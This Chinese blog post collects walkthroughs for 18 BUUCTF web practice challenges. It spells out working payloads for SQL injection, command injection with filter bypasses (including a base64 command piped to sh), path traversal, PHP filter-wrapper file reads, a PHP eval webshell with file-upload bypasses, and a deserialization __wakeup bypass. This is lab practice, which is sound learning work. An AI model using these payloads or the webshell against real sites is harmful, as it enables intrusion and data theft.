BUUCTF中**web**总结合集(web第一页,第1-20个)

下面的内容纯瞎玩,如看不懂命令可随时私聊,本人只是单纯记录下做题命令,方便以后查看解题思路
若有错误,欢迎指正。

1、[极客大挑战 2019]EasySQL 1

  • 方法一:万能公式秒了,账号输入:
    'or 1#
    或者
    1' or 1=1' #
    密码随便
  • 方法二:完整思路,账号输入:
    1'//查看是否有回显,密码随便

至于concat或者'~'啥意思,读者自己搜去吧,建议先了解这些再做题

若有回显则找数据库(或者跳过这一步,直接去下面那条database()找表,updatexml'~'可以换的,具体看题过滤了那些字符):

爆库:'or updatexml(1,concat('~',(select database())),1)#

爆表:1' or updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='geek')),1)# //表是geekuser

爆字段(列):'or updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='geekuser')),1) # //查到字段是id,username,password

用substr分割字符串查看:'or updatexml(1,concat('~',substr((select concat(username,'~',password) from geekuser limit 0, 1),1,32)),1) # //查到前32个字符:~ in_fact~This_question_is_very_s'

'or updatexml(1,concat('~',substr((select concat(username,'~',password) from geekuser limit 0, 1),9,32)),1) # //从第9个字符往后再查32个可看到完整密码:~ This_question_is_very_simple

账号输入:in_fact

密码输入:This_question_is_very_simple 即可


2、[极客大挑战 2019]Havefun

F12查看源代码,看懂注释后在上面地址栏后面加上:
?cat=dog
秒了


3、[HCTF 2018]WarmUp

F12查看源代码,看懂注释后在上面地址栏后面加上:
/source.php

分析明白后,把/source.php换成:
/hint.php

这就知道flag在那个目录下了,把/hint.php换成:
?file=source.php?../../../../../ffffllllaaaagggg
回车OK


4、[ACTF2020 新生赛]Include

点击tips,看到地址后缀是文件包含,这玩意要用到PHP伪协议,把后面/?file=flag.php换成
?file=php://filter/read=convert.base64-encode/resource=flag.php
看到的是base64编码,去在线网站解一下即可


5、[ACTF2020 新生赛]Exec

F12源代码,看到有baidu,ping:
baidu.com

看到有回显,加上 ;(执行完接着执行同一行的下一条,类似堆叠注入)和linux命令ls
baidu.com ; ls

看到有index.php,那就和上个题差不多叠加../往前翻:
baidu.com ; ls ../../../看到flag后baidu.com ; cd ../../../;cat flag
这个叠加三个就可以看到,
或者根据经验悄悄告诉你大都藏在根目录下,你可以直接:
baidu.com ; cat /flag


6、[GXYCTF2019]Ping Ping Ping

首先F12看注释,嘿嘿骗你的,啥也没有,那就随便Ping喽,你可以/?ip=1;ls也可以回显文件,但127.0.0.1这个地址可以ping通(虽然没啥用,但做别的题可以优先考虑,比如上一题,你也可以(ping127.0.0.1),地址栏后面加:
/?ip=127.0.0.1;ls记得多等两秒,需要加载,别看到没反应就切屏

看到index.php和flag.php,想直接cat flag.php,但不行,直接告诉你吧,先空格绕过,你去看index.php:
?ip=127.0.0.1;$IFS$9cat$IFS$9index.php

发现包括空格和flag等一堆字段都被过滤了,所以选择俩都绕过:
?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php

然后再F12,在注释中找到flag
或者你是否还记得第四道题,PHP伪协议那个,用base64编码绕过:
?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d|sh
//Y2F0IGZsYWcucGhw是cat flag.php的base64编码

然后再F12,看注释


7、[SUCTF 2019]EasySQL注意这个不是极客,是SUCTF的EasySQL

  • 方法一:
    *,1

  • 方法二:
    1;set sql_mode=PIPES_AS_CONCAT;select 1


8、[强网杯 2019]随便注

https://cloud.tencent.com/developer/article/2352207?from_column=20421&from=20421

  • 方法一:handler命令可以一行一行的显示数据表中的内容
    1'; handler `1919810931114514` open as `a` ; handler `a` read next;#

  • 方法二: 编码逃逸 绕过滤
    1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

  • 方法三:利用concat拼接
    1';use supersqli;set @sql=concat('s','elect flag from `1919810931114514`');PREPARE stmt1 FROM @sql;EXECUTE stmt1;#

  • 方法四:改名
    1';rename table words to word2;rename table `1919810931114514` to words;ALTER TABLE words ADD id int(10) DEFAULT '12';ALTER TABLE words CHANGE flag data VARCHAR(100);#

    改名之后,再输入1' or 1#即可查到


9、[极客大挑战 2019]LoveSQL

  • 方法一:账号中输入
    1' union select 1,2,group_concat(password) from l0ve1ysq1;#
    密码随便

  • 方法二:常规做法

  1. 爆字段看回显:1' order by 3 #正常1' order by 4#报错,说明有三个字段

  2. 爆数据库:1' union select 1,1,database();# //geek

  3. 爆表:1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'# //geekuser,l0ve1ysq1

  4. 爆字段(列):1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'# //id,username,password

  5. 查看字段(列)内容:1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1 #


10、[极客大挑战 2019]Secret File

老规矩,先F12,看到一个链接,href="./Archive_room.php",点进去跳转到Archive_room.php页面,再点击SELECT进到end.php页面,什么也没有
用burp suite拦截,看到注释里有secr3t.php,访问得到代码,进行代码审计,看懂后是php伪协议
在地址栏后面加:secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php
页面中出现base64编码,放到在线网站解码即可


11、[极客大挑战 2019]Http

GET /Secret.php HTTP/1.1
Host: node5.buuoj.cn:27557

Referer: https://Sycsecret.buuoj.cn
User-Agent: Syclover
X-Forwarded-For:127.0.0.1

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

这三行改成要求即可,如图,右面会显示flag


12、[极客大挑战 2019]Knife

下载后在空白处点击右键,添加数据

因为网站本来就是一个shell的执行页面,所以不用连接文件,直接粘贴过来网址就行,然后密码根据网页提示是Syc,测试连接,成功后再点添加数据,最上面的这条就是

双击点进去,去根目录下找flag,因为一般flag都在根目录下


13、[极客大挑战 2019]Upload

这些文件上传类型的题,假如说中间有步骤做错了,或者上传了多个文件,用蚁剑连不上,那你就销毁靶机,等一会重新启动,一次性做对,再连接就好了。包括上面那些用burp suite 修改参数的也是,重新启动环境即可

一句话木马:

GIF89a
<script language="php">@eval($_POST['pass']);</script>

新建一个 1.txt 文档,里面写上面的一句话木马,然后把后缀改成.phtml
GIF89a是16进制的GIF 用于绕过文件检测,POST['']里面是连接的密码,post请求就用post连接

在burp suite中把Content-Type改为 image/jpeg

然后点提交

尝试访问upload目录,可以看到上传成功

然后用蚁剑连接,网页路径后加/upload/1.phtml,密码是 pass

去根目录下找即可


14、[ACTF2020 新生赛]Upload

第一步:上传上面那个 1.phtml 文件,提示只能上传jpg、png、gif

那就把上面的 1.phtml 改成 1.jpg上传,注意我这里在里面改了密码 guoli

然后在bp里把 1.jpg 再改成 1.phtml,然后左上角点发送

可以看到上传成功

把后面的地址放到后面,用蚁剑连接,成功了点添加

然后在第一个点进去,去根目录找即可


15、[极客大挑战 2019]BabySQL

这是前两个的升级,采用双写绕过
测试回显:
账号: 1' ununionion seselectlect 1,2,3#

密码随便,回显正常

1' ununionion seselectlect 1,2,3,4#就报错,所以有三个字段

后续与[极客大挑战 2019]LoveSQL原理一致,用双写绕过即可, 可以看到下面这些都被过滤了

爆当前库名: 1'ununionion seselectlect 1,2,database()# // geek

爆所有库名: 1'ununionion seselectlect 1,2,group_concat(schema_name) frfromom infoorrmation_schema.schemata#

//六个库 information_schema, mysql, performance_schema, test, ctf, geek

爆ctf库的表名: 1' ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='ctf'#

爆字段名:1' ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='Flag'#

查看字段内容(因为flag不在当前数据库,所以用ctf.Flag):1' ununionion seselectlect 1,2,group_concat(flag) frfromom ctf.Flag #


16、[极客大挑战 2019]PHP

又是这个猫猫

在地址栏后面输入: ?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}即可得到falg

具体做法:

网页提示了有备份,猜测组合出是www.zip

常见的网站源码备份文件后缀:
.tar.gz, .zip, .rar, .tar,.php.bak, .swp, 

常见的网站源码备份文件名:
web, website, backup, back, www, wwwroot, temp

猜一下组合尝试就好,或者在kali中,用dirsearch扫描常见备份后缀文件

dirsearch -u http://dae1596f-6683-41e4-8506-e4566bca64af.node5.buuoj.cn:81/ | grep -E '\.zip|\.tar\.gz|\.rar|\.php\.bak'

时间有点长,还不如猜的组合快,然后观察,其他都是500多B,只有这个是6KB,大概率是这个

在网址后面加上www.zip下载,打开如图:

打开flag,啥也不是

打开class.php

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

代码审计,大概意思就是,如果
username= 'admine' 和 password = '100'
才会输出flag

访问index.php

unserialize():

unserialize — 从已存储的表示中创建 PHP 的值列化后的字符串。
若被反序列化的变量是一个对象,在成功地重新构造对象之后,PHP 会自动地试图去调用 __wakeup()成员函数(如果存在的话)

参考:https://blog.csdn.net/qq_43622442/article/details/105623384

在这里,我们可以将 php 代码 以文本的方式显示

<?php
class Name{
    private $username = 'admine';
    private $password = '100';
    }
 $select = new Name();
 $res=serialize(@$select);   
 echo $res
?>

在php中运行上面代码,没有环境也可以用在线网站

结果是:O:4:"Name":2:{s:14:"Nameusername";s:6:"admine";s:14:"Namepassword";s:3:"100";}

当成员属性数目大于实际数目时才可绕过wakeup

所以我们要将 2 改为 3 或者 比二大的数字

同时,我们要将口变为 %00 若果不写 在我们复制的时候就会减少空格,然后就ok

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}


17、[ACTF2020 新生赛]BackupFile

在地址栏后面加:

index.php.bak

下载下来打开和上题一样是代码审计

在地址栏后面加:

?key=123
即可得到flag

具体做法:

和上一题一样,因为标题说是BackupFile,即备份文件,所以用组合尝试,或者kali中用dirsearch扫描常见备份后缀文件

dirsearch -u http://94f3591a-a175-4d4c-978d-56ee5c6a0995.node5.buuoj.cn:81/ | grep -E '\.zip|\.tar\.gz|\.rar|\.php\.bak'

我参考了别的大佬的wp,知道了是index.php.bak,但是我扫出来文件大小和别的大小都是一样的,我也不知道他们是怎么看出来的,感觉还得是尝试组合

剩下就是,下载好打开文件,代码审计,看懂后,再地址栏后面加?key=123即可


18、[RoarCTF 2019]Easy Calc

打开访问网址,还是F12,发现calc.php

看注释,解释下WAF

即Web应用程序防火墙(Web Application Firewall,WAF)是一种用于保护Web应用程序的安全设备。WAF可以通过对Web应用程序的流量进行过滤和监控,识别并阻止潜在的安全威胁。WAF可以检测Web应用程序中的各种攻击,例如SQL注入、跨站点脚本攻击(XSS)、跨站请求伪造(CSRF)等,并采取相应的措施,例如拦截请求、阻止访问、记录事件等。

访问/calc.php,发现过滤掉了一些字符,包括单双引号在内的,而且num,说明只能输入传进数字,所以我们要找flag,需要绕过num

那就用chr()绕过,chr(47)就是斜杠/ ,查看根目录都有啥

? num=print_r(scandir(chr(47)));

接着用chr(),进行绕过,输出f1agg
? num=print_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)));

19、

20、


posted @ 2024-04-05 00:24  果粒就要果粒多  阅读(39)  评论(0编辑  收藏  举报